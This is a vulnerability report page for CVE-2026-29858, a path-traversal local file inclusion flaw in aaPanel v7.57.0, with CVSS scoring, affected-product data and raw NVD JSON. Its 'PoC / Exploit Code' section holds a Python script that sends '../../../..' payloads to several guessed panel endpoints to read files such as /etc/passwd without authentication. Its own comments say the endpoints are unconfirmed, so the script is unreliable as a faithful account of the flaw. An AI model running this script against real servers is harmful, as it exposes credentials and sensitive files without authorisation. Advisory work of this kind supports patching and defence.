Security Vulnerability Report
中文
CVE-2026-29858 CVSS 7.5 HIGH

CVE-2026-29858

Published: 2026-03-18 18:16:27
Last Modified: 2026-03-19 19:23:52

Description

A lack of path validation in aaPanel v7.57.0 allows attackers to execute a local file inclusion (LFI), leadingot sensitive information exposure.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:aapanel:aapanel:7.57.0:*:*:*:*:*:*:* - VULNERABLE
aaPanel < 7.57.0 (受影响)
aaPanel = 7.57.0 (受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys def exploit_lfi(target_url, file_path): """ CVE-2026-29858 PoC - aaPanel v7.57.0 Local File Inclusion This PoC demonstrates how an unauthenticated attacker can read sensitive files via path traversal vulnerability in aaPanel. """ # Target endpoint - adjust based on actual vulnerable endpoint endpoints = [ '/api/panel/get_file_content', '/api/panel/file/read', '/files/get' ] # Path traversal payload to read target file payload = '../../../..' + file_path print(f'[*] Target: {target_url}') print(f'[*] Attempting to read: {file_path}') for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint params = {'path': payload} response = requests.get(url, params=params, timeout=10, verify=False) if response.status_code == 200 and len(response.text) > 0: print(f'[+] Success via {endpoint}') print('=' * 60) print(response.text[:1000]) print('=' * 60) return True except Exception as e: print(f'[-] Error with {endpoint}: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: python {sys.argv[0]} <target_url> <file_to_read>') print(f'Example: python {sys.argv[0]} http://target.com:7800 /etc/passwd') sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] exploit_lfi(target, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29858", "sourceIdentifier": "[email protected]", "published": "2026-03-18T18:16:27.230", "lastModified": "2026-03-19T19:23:51.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A lack of path validation in aaPanel v7.57.0 allows attackers to execute a local file inclusion (LFI), leadingot sensitive information exposure."}, {"lang": "es", "value": "Una falta de validación de rutas en aaPanel v7.57.0 permite a los atacantes ejecutar una inclusión local de ficheros (LFI), lo que lleva a la exposición de información sensible."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:aapanel:aapanel:7.57.0:*:*:*:*:*:*:*", "matchCriteriaId": "BEA5AFC6-F733-4683-A374-C9665E0A2250"}]}]}], "references": [{"url": "https://github.com/aapanel/aapanel", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2026-29858", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}